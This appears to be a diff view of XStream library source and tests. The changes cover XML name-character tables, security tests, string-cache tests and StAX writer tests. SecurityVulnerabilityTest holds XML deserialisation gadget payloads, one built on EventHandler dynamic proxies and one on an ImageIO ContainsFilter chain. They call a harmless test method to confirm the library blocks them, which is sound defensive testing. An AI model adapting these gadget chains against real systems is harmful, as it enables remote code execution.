	348	XML_NAME_CHARS_4TH.set(0xB82, 0xB83 + 1);
	349	XML_NAME_CHARS_4TH.set(0xBBE, 0xBC2 + 1);
	350	XML_NAME_CHARS_4TH.set(0xBC6, 0xBC8 + 1);
	351	XML_NAME_CHARS_4TH.set(0xBCA, 0xBCD + 1);
	352	XML_NAME_CHARS_4TH.set(0xBD7);
	353	XML_NAME_CHARS_4TH.set(0xBE7, 0xBEF + 1);
	354	XML_NAME_CHARS_4TH.set(0xC01, 0xC03 + 1);
	355	XML_NAME_CHARS_4TH.set(0xC3E, 0xC44 + 1);
	356	XML_NAME_CHARS_4TH.set(0xC46, 0xC48 + 1);
	357	XML_NAME_CHARS_4TH.set(0xC4A, 0xC4D + 1);
	358	XML_NAME_CHARS_4TH.set(0xC55, 0xC56 + 1);
	359	XML_NAME_CHARS_4TH.set(0xC66, 0xC6F + 1);
	360	XML_NAME_CHARS_4TH.set(0xC82, 0xC83 + 1);
	361	XML_NAME_CHARS_4TH.set(0xCBE, 0xCC4 + 1);
	362	XML_NAME_CHARS_4TH.set(0xCC6, 0xCC8 + 1);
	363	XML_NAME_CHARS_4TH.set(0xCCA, 0xCCD + 1);
	364	XML_NAME_CHARS_4TH.set(0xCD5, 0xCD6 + 1);
	365	XML_NAME_CHARS_4TH.set(0xCE6, 0xCEF + 1);
	366	XML_NAME_CHARS_4TH.set(0xD02, 0xD03 + 1);
	367	XML_NAME_CHARS_4TH.set(0xD3E, 0xD43 + 1);
	368	XML_NAME_CHARS_4TH.set(0xD46, 0xD48 + 1);
	369	XML_NAME_CHARS_4TH.set(0xD4A, 0xD4D + 1);
	370	XML_NAME_CHARS_4TH.set(0xD57);
	371	XML_NAME_CHARS_4TH.set(0xD66, 0xD6F + 1);
	372	XML_NAME_CHARS_4TH.set(0xE31);
	373	XML_NAME_CHARS_4TH.set(0xE34, 0xE3A + 1);
	374	XML_NAME_CHARS_4TH.set(0xE46);
	375	XML_NAME_CHARS_4TH.set(0xE47, 0xE4E + 1);
	376	XML_NAME_CHARS_4TH.set(0xE50, 0xE59 + 1);
	377	XML_NAME_CHARS_4TH.set(0xEB1);
	378	XML_NAME_CHARS_4TH.set(0xEB4, 0xEB9 + 1);
	379	XML_NAME_CHARS_4TH.set(0xEBB, 0xEBC + 1);
	380	XML_NAME_CHARS_4TH.set(0xEC6);
	381	XML_NAME_CHARS_4TH.set(0xEC8, 0xECD + 1);
	382	XML_NAME_CHARS_4TH.set(0xED0, 0xED9 + 1);
	383	XML_NAME_CHARS_4TH.set(0xF18, 0xF19 + 1);
	384	XML_NAME_CHARS_4TH.set(0xF20, 0xF29 + 1);
	385	XML_NAME_CHARS_4TH.set(0xF35);
	386	XML_NAME_CHARS_4TH.set(0xF37);
	387	XML_NAME_CHARS_4TH.set(0xF39);
	388	XML_NAME_CHARS_4TH.set(0xF3E);
	389	XML_NAME_CHARS_4TH.set(0xF3F);
	390	XML_NAME_CHARS_4TH.set(0xF71, 0xF84 + 1);
	391	XML_NAME_CHARS_4TH.set(0xF86, 0xF8B + 1);
	392	XML_NAME_CHARS_4TH.set(0xF90, 0xF95 + 1);
	393	XML_NAME_CHARS_4TH.set(0xF97);
	394	XML_NAME_CHARS_4TH.set(0xF99, 0xFAD + 1);
	395	XML_NAME_CHARS_4TH.set(0xFB1, 0xFB7 + 1);
	396	XML_NAME_CHARS_4TH.set(0xFB9);
	397	XML_NAME_CHARS_4TH.set(0x20D0, 0x20DC + 1);
	398	XML_NAME_CHARS_4TH.set(0x20E1);
	399	XML_NAME_CHARS_4TH.set(0x3005);
	400	XML_NAME_CHARS_4TH.set(0x302A, 0x302F + 1);
	401	XML_NAME_CHARS_4TH.set(0x3031, 0x3035 + 1);
	402	XML_NAME_CHARS_4TH.set(0x3099);
	403	XML_NAME_CHARS_4TH.set(0x309A);
	404	XML_NAME_CHARS_4TH.set(0x309D, 0x309E + 1);
	405	XML_NAME_CHARS_4TH.set(0x30FC, 0x30FE + 1);
	406
	407	XML_NAME_CHARS_5TH.or(XML_NAME_START_CHARS_5TH);
	408	XML_NAME_CHARS_5TH.set(0x300, 0x36F);
	409	XML_NAME_CHARS_5TH.set(0x203F, 0x2040);
	410
	411	XML_NAME_START_CHARS = (BitSet)XML_NAME_START_CHARS_4TH.clone();
	412	XML_NAME_START_CHARS.and(XML_NAME_START_CHARS_5TH);
	413	XML_NAME_CHARS = (BitSet)XML_NAME_CHARS_4TH.clone();
	414	XML_NAME_CHARS.and(XML_NAME_CHARS_5TH);
93	415	}
94	416
95	417	private final String dollarReplacement;

100	422
101	423	/**
102	424	* Construct a new XmlFriendlyNameCoder.
103		*
	425	*
104	426	* @since 1.4
105	427	*/
106	428	public XmlFriendlyNameCoder() {

108	430	}
109	431
110	432	/**
111		* Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar and the
112		* escape character.
113		*
	433	* Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar and the escape character.
	434	*
114	435	* @param dollarReplacement
115	436	* @param escapeCharReplacement
116	437	* @since 1.4

120	441	}
121	442
122	443	/**
123		* Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar, the
124		* escape character and the prefix for hexadecimal encoding of invalid characters in XML
125		* names.
126		*
	444	* Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar, the escape character and the
	445	* prefix for hexadecimal encoding of invalid characters in XML names.
	446	*
127	447	* @param dollarReplacement
128	448	* @param escapeCharReplacement
129	449	* @since 1.4

293	613	return new HashMap();
294	614	}
295	615
296		private static class IntPair {
297		int min;
298		int max;
299
300		public IntPair(int min, int max) {
301		this.min = min;
302		this.max = max;
303		}
304		}
305
306		private static boolean isXmlNameStartChar(int cp) {
307		return isInNameCharBounds(cp, XML_NAME_START_CHAR_BOUNDS);
308		}
309
310		private static boolean isXmlNameChar(int cp) {
311		if (isXmlNameStartChar(cp)) {
312		return true;
313		}
314		return isInNameCharBounds(cp, XML_NAME_CHAR_EXTRA_BOUNDS);
315		}
316
317		private static boolean isInNameCharBounds(int cp, IntPair[] nameCharBounds) {
318		for (int i = 0; i < nameCharBounds.length; ++i) {
319		IntPair p = nameCharBounds[i];
320		if (cp >= p.min && cp <= p.max) {
321		return true;
322		}
323		}
324		return false;
	616	private static boolean isXmlNameStartChar(final int cp) {
	617	return XML_NAME_START_CHARS.get(cp);
	618	}
	619
	620	private static boolean isXmlNameChar(final int cp) {
	621	return XML_NAME_CHARS.get(cp);
325	622	}
326	623	}

+116

-29

xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java less more

0	0	/*
1		* Copyright (C) 2013, 2014, 2017, 2018 XStream Committers.
	1	* Copyright (C) 2013, 2014, 2017, 2018, 2020 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

10	10	package com.thoughtworks.acceptance;
11	11
12	12	import java.beans.EventHandler;
	13	import java.util.Iterator;
13	14
14	15	import com.thoughtworks.xstream.XStream;
15	16	import com.thoughtworks.xstream.XStreamException;
16	17	import com.thoughtworks.xstream.converters.ConversionException;
17		import com.thoughtworks.xstream.converters.reflection.ReflectionConverter;
	18	import com.thoughtworks.xstream.core.JVM;
	19	import com.thoughtworks.xstream.security.AnyTypePermission;
18	20	import com.thoughtworks.xstream.security.ForbiddenClassException;
19		import com.thoughtworks.xstream.security.ProxyTypePermission;
20	21
21	22
22	23	/**

30	31	super.setUp();
31	32	BUFFER.setLength(0);
32	33	xstream.alias("runnable", Runnable.class);
33		xstream.allowTypeHierarchy(Runnable.class);
34		xstream.addPermission(ProxyTypePermission.PROXIES);
	34	}
	35
	36	protected void setupSecurity(XStream xstream) {
35	37	}
36	38
37	39	public void testCannotInjectEventHandler() {
38	40	final String xml = ""
39		+ "<string class='runnable-array'>\n"
40		+ " <dynamic-proxy>\n"
41		+ " <interface>java.lang.Runnable</interface>\n"
42		+ " <handler class='java.beans.EventHandler'>\n"
43		+ " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
44		+ " <action>exec</action>\n"
45		+ " </handler>\n"
46		+ " </dynamic-proxy>\n"
47		+ "</string>";
	41	+ "<string class='runnable-array'>\n"
	42	+ " <dynamic-proxy>\n"
	43	+ " <interface>java.lang.Runnable</interface>\n"
	44	+ " <handler class='java.beans.EventHandler'>\n"
	45	+ " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
	46	+ " <action>exec</action>\n"
	47	+ " </handler>\n"
	48	+ " </dynamic-proxy>\n"
	49	+ "</string>";
48	50
49	51	try {
50	52	xstream.fromXML(xml);

56	58	}
57	59
58	60	public void testCannotInjectEventHandlerWithUnconfiguredSecurityFramework() {
59		xstream = new XStream(createDriver());
60	61	xstream.alias("runnable", Runnable.class);
61	62	final String xml = ""
62	63	+ "<string class='runnable-array'>\n"

73	74	xstream.fromXML(xml);
74	75	fail("Thrown " + XStreamException.class.getName() + " expected");
75	76	} catch (final XStreamException e) {
76		assertTrue(e.getMessage().indexOf(EventHandler.class.getName())>=0);
	77	assertTrue(e.getMessage().indexOf(EventHandler.class.getName()) >= 0);
77	78	}
78	79	assertEquals(0, BUFFER.length());
79	80	}
80	81
81	82	public void testExplicitlyConvertEventHandler() {
82	83	final String xml = ""
83		+ "<string class='runnable-array'>\n"
84		+ " <dynamic-proxy>\n"
85		+ " <interface>java.lang.Runnable</interface>\n"
86		+ " <handler class='java.beans.EventHandler'>\n"
87		+ " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
88		+ " <action>exec</action>\n"
89		+ " </handler>\n"
90		+ " </dynamic-proxy>\n"
91		+ "</string>";
	84	+ "<string class='runnable-array'>\n"
	85	+ " <dynamic-proxy>\n"
	86	+ " <interface>java.lang.Runnable</interface>\n"
	87	+ " <handler class='java.beans.EventHandler'>\n"
	88	+ " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
	89	+ " <action>exec</action>\n"
	90	+ " </handler>\n"
	91	+ " </dynamic-proxy>\n"
	92	+ "</string>";
92	93
93	94	xstream.allowTypes(new Class[]{EventHandler.class});
94		xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream
95		.getReflectionProvider(), EventHandler.class));
96	95
97	96	final Runnable[] array = (Runnable[])xstream.fromXML(xml);
98	97	assertEquals(0, BUFFER.length());

100	99	assertEquals("Executed!", BUFFER.toString());
101	100	}
102	101
	102	public void testCannotInjectConvertImageIOContainsFilterWithUnconfiguredSecurityFramework() {
	103	if (JVM.isVersion(7)) {
	104	final String xml = ""
	105	+ "<string class='javax.imageio.spi.FilterIterator'>\n"
	106	+ " <iter class='java.util.ArrayList$Itr'>\n"
	107	+ " <cursor>0</cursor>\n"
	108	+ " <lastRet>1</lastRet>\n"
	109	+ " <expectedModCount>1</expectedModCount>\n"
	110	+ " <outer-class>\n"
	111	+ " <com.thoughtworks.acceptance.SecurityVulnerabilityTest_-Exec/>\n"
	112	+ " </outer-class>\n"
	113	+ " </iter>\n"
	114	+ " <filter class='javax.imageio.ImageIO$ContainsFilter'>\n"
	115	+ " <method>\n"
	116	+ " <class>com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec</class>\n"
	117	+ " <name>exec</name>\n"
	118	+ " <parameter-types/>\n"
	119	+ " </method>\n"
	120	+ " <name>exec</name>\n"
	121	+ " </filter>\n"
	122	+ " <next/>\n"
	123	+ "</string>";
	124
	125	try {
	126	xstream.fromXML(xml);
	127	fail("Thrown " + XStreamException.class.getName() + " expected");
	128	} catch (final XStreamException e) {
	129	assertTrue(e.getMessage().indexOf("javax.imageio.ImageIO$ContainsFilter") >= 0);
	130	}
	131	assertEquals(0, BUFFER.length());
	132	}
	133	}
	134
	135	public void testExplicitlyConvertImageIOContainsFilter() {
	136	if (JVM.isVersion(7)) {
	137	final String xml = ""
	138	+ "<string class='javax.imageio.spi.FilterIterator'>\n"
	139	+ " <iter class='java.util.ArrayList$Itr'>\n"
	140	+ " <cursor>0</cursor>\n"
	141	+ " <lastRet>1</lastRet>\n"
	142	+ " <expectedModCount>1</expectedModCount>\n"
	143	+ " <outer-class>\n"
	144	+ " <com.thoughtworks.acceptance.SecurityVulnerabilityTest_-Exec/>\n"
	145	+ " </outer-class>\n"
	146	+ " </iter>\n"
	147	+ " <filter class='javax.imageio.ImageIO$ContainsFilter'>\n"
	148	+ " <method>\n"
	149	+ " <class>com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec</class>\n"
	150	+ " <name>exec</name>\n"
	151	+ " <parameter-types/>\n"
	152	+ " </method>\n"
	153	+ " <name>exec</name>\n"
	154	+ " </filter>\n"
	155	+ " <next/>\n"
	156	+ "</string>";
	157
	158	xstream.allowTypes(new String[]{"javax.imageio.ImageIO$ContainsFilter"});
	159
	160	final Iterator iterator = (Iterator)xstream.fromXML(xml);
	161	assertEquals(0, BUFFER.length());
	162	iterator.next();
	163	assertEquals("Executed!", BUFFER.toString());
	164	}
	165	}
	166
103	167	public static class Exec {
104	168
105	169	public void exec() {

107	171	}
108	172	}
109	173
	174	public void testInstanceOfVoid() {
	175	try {
	176	xstream.fromXML("<void/>");
	177	fail("Thrown " + ConversionException.class.getName() + " expected");
	178	} catch (final ConversionException e) {
	179	assertEquals("void", e.get("construction-type"));
	180	}
	181	}
	182
110	183	public void testDeniedInstanceOfVoid() {
	184	xstream.addPermission(AnyTypePermission.ANY); // clear out defaults
	185	xstream.denyTypes(new Class[]{void.class, Void.class});
111	186	try {
112	187	xstream.fromXML("<void/>");
113	188	fail("Thrown " + ForbiddenClassException.class.getName() + " expected");

117	192	}
118	193
119	194	public void testAllowedInstanceOfVoid() {
120		xstream.allowTypes(new Class[] { void.class, Void.class });
	195	xstream.allowTypes(new Class[]{void.class, Void.class});
121	196	try {
122	197	xstream.fromXML("<void/>");
123	198	fail("Thrown " + ConversionException.class.getName() + " expected");
124	199	} catch (final ConversionException e) {
125		assertEquals("void", e.get("required-type"));
	200	assertEquals("void", e.get("construction-type"));
	201	}
	202	}
	203
	204	public static class LazyIterator {}
	205
	206	public void testInstanceOfLazyIterator() {
	207	xstream.alias("lazy-iterator", LazyIterator.class);
	208	try {
	209	xstream.fromXML("<lazy-iterator/>");
	210	fail("Thrown " + ForbiddenClassException.class.getName() + " expected");
	211	} catch (final ForbiddenClassException e) {
	212	// OK
126	213	}
127	214	}
128	215	}

+87

-26

xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java less more

0	0	/*
1	1	* Copyright (C) 2006 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2011, 2017 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2011, 2017, 2019, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD
6	6	* style license a copy of which has been included with this distribution in
7	7	* the LICENSE.txt file.
8		*
	8	*
9	9	* Created on 18. April 2006 by Mauro Talevi
10	10	*/
11	11	package com.thoughtworks.acceptance;
12	12
	13	import java.text.DecimalFormatSymbols;
	14	import java.util.Locale;
	15
13	16	import com.thoughtworks.acceptance.objects.StandardObject;
14	17	import com.thoughtworks.xstream.core.JVM;
15
16		import java.text.DecimalFormatSymbols;
17		import java.util.Locale;
18	18
19	19
20	20	public class XmlFriendlyTest extends AbstractAcceptanceTest {

29	29	public void testSupportsFieldsWithDollarChar() {
30	30	xstream.alias("dollar", WithDollarCharField.class);
31	31
32		WithDollarCharField in = new WithDollarCharField();
	32	final WithDollarCharField in = new WithDollarCharField();
33	33	in.$field = "a";
34	34	in.field$ = "b";
35	35	in.fi$eld = "c";
36	36	in.fi$$eld = "d";
37	37
38		String expected = ""
	38	final String expected = ""
39	39	+ "<dollar>\n"
40	40	+ " <_-field>a</_-field>\n"
41	41	+ " <field_->b</field_->\n"

54	54	public void testSupportsFieldsWithUnderscoreChar() {
55	55	xstream.alias("underscore", WithUnderscoreCharField.class);
56	56
57		WithUnderscoreCharField in = new WithUnderscoreCharField();
	57	final WithUnderscoreCharField in = new WithUnderscoreCharField();
58	58	in._field = "a";
59	59	in.field_ = "b";
60	60	in.fi_eld = "c";
61	61
62		String expected = ""
	62	final String expected = ""
63	63	+ "<underscore>\n"
64	64	+ " <__field>a</__field>\n"
65	65	+ " <field__>b</field__>\n"

77	77	public void testSupportsFieldsWithDoubleUnderscoreChar() {
78	78	xstream.alias("underscore", WithDoubleUnderscoreCharField.class);
79	79
80		WithDoubleUnderscoreCharField in = new WithDoubleUnderscoreCharField();
	80	final WithDoubleUnderscoreCharField in = new WithDoubleUnderscoreCharField();
81	81	in.__field = "a";
82	82	in.field__ = "b";
83	83	in.fi__eld = "c";
84	84
85		String expected = ""
	85	final String expected = ""
86	86	+ "<underscore>\n"
87	87	+ " <____field>a</____field>\n"
88	88	+ " <field____>b</field____>\n"

102	102	public void testSupportsFieldsWithDollarAndUnderScoreChar() {
103	103	xstream.alias("dollar", WithDollarAndUnderscoreCharField.class);
104	104
105		WithDollarAndUnderscoreCharField in = new WithDollarAndUnderscoreCharField();
	105	final WithDollarAndUnderscoreCharField in = new WithDollarAndUnderscoreCharField();
106	106	in.$_$field = "a";
107	107	in.field$_$ = "b";
108	108	in.fi_$_eld = "c";
109	109	in.fi_$$_eld = "d";
110	110	in.fi$__$eld = "e";
111	111
112		String expected = ""
	112	final String expected = ""
113	113	+ "<dollar>\n"
114	114	+ " <_-___-field>a</_-___-field>\n"
115	115	+ " <field_-___->b</field_-___->\n"

125	125	String _µ;
126	126	String ¢¥€£äöüß;
127	127	}
128
	128
129	129	public void testSupportsFieldsWithUnusualChars() {
130	130	xstream.alias("unusual", WithUnusualCharacters.class);
131	131
132		WithUnusualCharacters in = new WithUnusualCharacters();
	132	final WithUnusualCharacters in = new WithUnusualCharacters();
133	133	in.µ_ = "a";
134	134	in._µ = "b";
135	135	in.¢¥€£äöüß = "c";
136	136
137		String expected = ""
	137	final String expected = ""
138	138	+ "<unusual>\n"
139	139	+ " <_.00b5__>a</_.00b5__>\n"
140	140	+ " <___.00b5>b</___.00b5>\n"
141		+ " <_.00a2_.00a5€_.00a3äöüß>c</_.00a2_.00a5€_.00a3äöüß>\n"
	141	+ " <_.00a2_.00a5_.20ac_.00a3äöüß>c</_.00a2_.00a5_.20ac_.00a3äöüß>\n"
142	142	+ "</unusual>";
143	143	assertBothWays(in, expected);
144	144	}
145	145
146	146	public static class __ {
147	147	public static class A_B extends StandardObject {
148		private int x;
149
150		public A_B(int x) {
	148	private final int x;
	149
	150	public A_B(final int x) {
151	151	this.x = x;
152	152	}
153	153

162	162	}
163	163
164	164	public void testSlashRSlashSlashSlashN() {
165		String before = "\r\\\n";
166		String xml = xstream.toXML(before);
	165	final String before = "\r\\\n";
	166	final String xml = xstream.toXML(before);
167	167	assertEquals(before, xstream.fromXML(xml));
168	168	}
169	169

189	189	public void testDecimalFormatSymbols() {
190	190	final String xml;
191	191	if (!JVM.is14()) {
192		xml = "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
	192	xml = ""
	193	+ "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
193	194	+ " <java.text.DecimalFormatSymbols>\n"
194	195	+ " <default>\n"
195	196	+ " <decimalSeparator>,</decimalSeparator>\n"

211	212	+ " </java.text.DecimalFormatSymbols>\n"
212	213	+ "</java.text.DecimalFormatSymbols>";
213	214	} else if (!JVM.is16()) {
214		xml = "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
	215	xml = ""
	216	+ "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
215	217	+ " <java.text.DecimalFormatSymbols>\n"
216	218	+ " <default>\n"
217	219	+ " <decimalSeparator>,</decimalSeparator>\n"

233	235	+ " </default>\n"
234	236	+ " </java.text.DecimalFormatSymbols>\n"
235	237	+ "</java.text.DecimalFormatSymbols>";
236		} else {
237		xml = "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
	238	} else if (!JVM.isVersion(13)) {
	239	xml = ""
	240	+ "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
238	241	+ " <java.text.DecimalFormatSymbols>\n"
239	242	+ " <default>\n"
240	243	+ " <decimalSeparator>,</decimalSeparator>\n"

254	257	+ " <infinity>\u221e</infinity>\n"
255	258	+ " <intlCurrencySymbol>EUR</intlCurrencySymbol>\n"
256	259	+ " <locale>de_DE</locale>\n"
	260	+ " </default>\n"
	261	+ " </java.text.DecimalFormatSymbols>\n"
	262	+ "</java.text.DecimalFormatSymbols>";
	263	} else if (!JVM.isVersion(15)) {
	264	xml = ""
	265	+ "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
	266	+ " <java.text.DecimalFormatSymbols>\n"
	267	+ " <default>\n"
	268	+ " <decimalSeparator>,</decimalSeparator>\n"
	269	+ " <digit>#</digit>\n"
	270	+ " <exponential>E</exponential>\n"
	271	+ " <groupingSeparator>.</groupingSeparator>\n"
	272	+ " <minusSign>-</minusSign>\n"
	273	+ " <monetarySeparator>,</monetarySeparator>\n"
	274	+ " <patternSeparator>;</patternSeparator>\n"
	275	+ " <perMill>\u2030</perMill>\n"
	276	+ " <percent>%</percent>\n"
	277	+ " <serialVersionOnStream>4</serialVersionOnStream>\n"
	278	+ " <zeroDigit>0</zeroDigit>\n"
	279	+ " <NaN>NaN</NaN>\n"
	280	+ " <currencySymbol>\u20ac</currencySymbol>\n"
	281	+ " <exponentialSeparator>E</exponentialSeparator>\n"
	282	+ " <infinity>\u221e</infinity>\n"
	283	+ " <intlCurrencySymbol>EUR</intlCurrencySymbol>\n"
	284	+ " <locale>de_DE</locale>\n"
	285	+ " <minusSignText>-</minusSignText>\n"
	286	+ " <perMillText>\u2030</perMillText>\n"
	287	+ " <percentText>%</percentText>\n"
	288	+ " </default>\n"
	289	+ " </java.text.DecimalFormatSymbols>\n"
	290	+ "</java.text.DecimalFormatSymbols>";
	291	} else {
	292	xml = ""
	293	+ "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
	294	+ " <java.text.DecimalFormatSymbols>\n"
	295	+ " <default>\n"
	296	+ " <decimalSeparator>,</decimalSeparator>\n"
	297	+ " <digit>#</digit>\n"
	298	+ " <exponential>E</exponential>\n"
	299	+ " <groupingSeparator>.</groupingSeparator>\n"
	300	+ " <hashCode>0</hashCode>\n"
	301	+ " <minusSign>-</minusSign>\n"
	302	+ " <monetaryGroupingSeparator>.</monetaryGroupingSeparator>\n"
	303	+ " <monetarySeparator>,</monetarySeparator>\n"
	304	+ " <patternSeparator>;</patternSeparator>\n"
	305	+ " <perMill>\u2030</perMill>\n"
	306	+ " <percent>%</percent>\n"
	307	+ " <serialVersionOnStream>5</serialVersionOnStream>\n"
	308	+ " <zeroDigit>0</zeroDigit>\n"
	309	+ " <NaN>NaN</NaN>\n"
	310	+ " <currencySymbol>\u20ac</currencySymbol>\n"
	311	+ " <exponentialSeparator>E</exponentialSeparator>\n"
	312	+ " <infinity>\u221e</infinity>\n"
	313	+ " <intlCurrencySymbol>EUR</intlCurrencySymbol>\n"
	314	+ " <locale>de_DE</locale>\n"
	315	+ " <minusSignText>-</minusSignText>\n"
	316	+ " <perMillText>\u2030</perMillText>\n"
	317	+ " <percentText>%</percentText>\n"
257	318	+ " </default>\n"
258	319	+ " </java.text.DecimalFormatSymbols>\n"
259	320	+ "</java.text.DecimalFormatSymbols>";

+65

-0

xstream/src/test/com/thoughtworks/xstream/converters/basic/StringConverterTest.java less more

	0	/*
	1	* Copyright (C) 2020 XStream Committers.
	2	* All rights reserved.
	3	*
	4	* The software in this package is published under the terms of the BSD
	5	* style license a copy of which has been included with this distribution in
	6	* the LICENSE.txt file.
	7	*
	8	* Created on 12. Mar 2020 by Zezeng Wang
	9	*/
	10
	11	package com.thoughtworks.xstream.converters.basic;
	12
	13	import java.util.HashMap;
	14	import java.util.Map;
	15
	16	import junit.framework.TestCase;
	17
	18
	19	/**
	20	* Tests {@link StringConverter}.
	21	*/
	22	public class StringConverterTest extends TestCase {
	23
	24	/**
	25	* Tests use of own map implementation for cache.
	26	*/
	27	public void testOwnMapImplementationForCache() {
	28	// Using the parameter map constructor
	29	final Map map = new HashMap();
	30	final StringConverter converter = new StringConverter(map);
	31	assertSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // cached value
	32	assertEquals(1, map.size());
	33	}
	34
	35	/**
	36	* Tests cache limitation for string length.
	37	*/
	38	public void testCacheLimitationBasedOnStringLength() {
	39	// Using the int constructor
	40	final StringConverter converter = new StringConverter(4);
	41	assertSame(converter.fromString("Test"), converter.fromString(new String("Test"))); // cached value
	42	assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value
	43	}
	44
	45	/**
	46	* Tests no cache.
	47	*/
	48	public void testNoCache() {
	49	final StringConverter converter = new StringConverter(null);
	50	assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value
	51	}
	52
	53	/**
	54	* Tests own map implementation and string length limit for cache.
	55	*/
	56	public void testOwnMapImplementationAndStringLegnthLimitForCache() {
	57	// Using the map and int constructor
	58	final Map map = new HashMap();
	59	final StringConverter converter = new StringConverter(map, 4);
	60	assertSame(converter.fromString("Test"), converter.fromString(new String("Test"))); // cached value
	61	assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value
	62	assertEquals(1, map.size());
	63	}
	64	}

+15

-3

xstream/src/test/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriverTest.java less more

0	0	/*
1		* Copyright (C) 2007, 2008, 2009, 2010, 2011, 2013, 2016, 2017 XStream Committers.
	1	* Copyright (C) 2007, 2008, 2009, 2010, 2011, 2013, 2016, 2017, 2018 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

164	164	assertEquals(expected, xstream.toXML("\u0000\u0001\u001f\u0020\uffee"));
165	165	}
166	166
167		public void testSingletonListWithSimpleObject() {
	167	public void testListWithOneSimpleObject() {
168	168	ArrayList list1 = new ArrayList();
169	169	list1.add("one");
170	170	String json = xstream.toXML(list1);

185	185	? "{'list':[{'string':['one','two','three']}]}"
186	186	: "{'list':{'string':['one','two','three']}}").replace('\'', '"'), json);
187	187	ArrayList list2 = (ArrayList)xstream.fromXML(json);
	188	assertEquals(json, xstream.toXML(list2));
	189	}
	190
	191	public void testListWithDifferentSimpleObjects() {
	192	final ArrayList list1 = new ArrayList();
	193	list1.add("one");
	194	list1.add(new Integer(2));
	195	list1.add(new Float(3.3f));
	196	final String json = xstream.toXML(list1);
	197	assertEquals((JVM.is15()
	198	? "{'list':[{'string':'one','int':2,'float':3.3}]}"
	199	: "{'list':{'string':['one'],'int':2,'float':3.3}}").replace('\'', '"'), json);
	200	final ArrayList list2 = (ArrayList)xstream.fromXML(json);
188	201	assertEquals(json, xstream.toXML(list2));
189	202	}
190	203

276	289	public void testArrayList() {
277	290	if (JVM.is15()) {
278	291	ArrayList list1 = new ArrayList();
279		list1.clear();
280	292	list1.add(new Integer(12));
281	293
282	294	list1.add("string");

-10

xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxWriterTest.java less more

0	0	/*
1		* Copyright (C) 2007, 2009, 2011 XStream Committers.
	1	* Copyright (C) 2007, 2009, 2011, 2018 XStream Committers.
2	2	* All rights reserved.
3	3	*
4	4	* The software in this package is published under the terms of the BSD

9	9	*/
10	10	package com.thoughtworks.xstream.io.xml;
11	11
	12	import java.io.StringWriter;
	13
	14	import javax.xml.namespace.QName;
	15
12	16	import com.thoughtworks.acceptance.someobjects.X;
13	17	import com.thoughtworks.acceptance.someobjects.Y;
14	18	import com.thoughtworks.xstream.XStream;
15	19
16		import org.apache.oro.text.perl.Perl5Util;
17
18		import javax.xml.namespace.QName;
19
20		import java.io.StringWriter;
21
22	20	public abstract class AbstractStaxWriterTest extends AbstractXMLWriterTest {
23	21
24	22	protected StringWriter buffer;
25		protected Perl5Util perlUtil;
26	23	protected StaxDriver staxDriver;
27	24	private X testInput;
28	25

36	33	staxDriver.setRepairingNamespace(false);
37	34	buffer = new StringWriter();
38	35	writer = staxDriver.createWriter(buffer);
39		perlUtil = new Perl5Util();
40	36
41	37	testInput = new X();
42	38	testInput.anInt = 9;

101	97	xstream.toXML(testInput, buffer);
102	98	}
103	99
104		}⏎
	100	}

-2

xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxWriterTest.java less more

11	11
12	12	public final class BEAStaxWriterTest extends AbstractStaxWriterTest {
13	13	protected void assertXmlProducedIs(String expected) {
14		expected = perlUtil.substitute("s# xmlns=\"\"##g", expected);
15		expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2></$1>#g", expected);
	14	expected = expected.replaceAll(" xmlns=\"\"", "");
	15	expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2></$1>");
16	16	expected = replaceAll(expected, " ", " ");
17	17	expected = replaceAll(expected, " ", " ");
18	18	expected = replaceAll(expected, " ", " ");

-2

xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpWriterTest.java less more

36	36
37	37	protected void assertXmlProducedIs(String expected) {
38	38	if (!staxDriver.isRepairingNamespace()) {
39		expected = perlUtil.substitute("s# xmlns=\"\"##g", expected);
	39	expected = expected.replaceAll(" xmlns=\"\"", "");
40	40	}
41		expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2></$1>#g", expected);
	41	expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2></$1>");
42	42	expected = replaceAll(expected, " ", "\r");
43	43	// attributes are not properly escaped
44	44	expected = replaceAll(expected, " ", "\n");

-4

xstream/src/test/com/thoughtworks/xstream/io/xml/WstxWriterTest.java less more

15	15
16	16	public final class WstxWriterTest extends AbstractStaxWriterTest {
17	17	protected void assertXmlProducedIs(String expected) {
